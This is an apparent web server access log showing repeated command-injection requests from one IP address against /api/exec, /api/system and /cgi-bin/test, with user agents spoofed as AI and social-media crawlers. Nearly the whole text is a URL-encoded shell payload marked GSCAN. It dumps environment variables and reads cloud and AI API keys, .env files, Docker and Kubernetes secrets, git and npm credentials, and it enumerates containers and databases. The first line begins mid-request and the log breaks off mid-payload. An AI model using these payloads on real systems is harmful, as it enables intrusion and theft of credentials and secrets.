/api/exec?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 87282 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:57 +0200] "GET /api/system?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 87282 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)"
34.125.219.56 - - [02/Aug/2026:08:31:59 +0200] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 100565 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
34.125.219.56 - - [02/Aug/2026:08:32:01 +0200] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%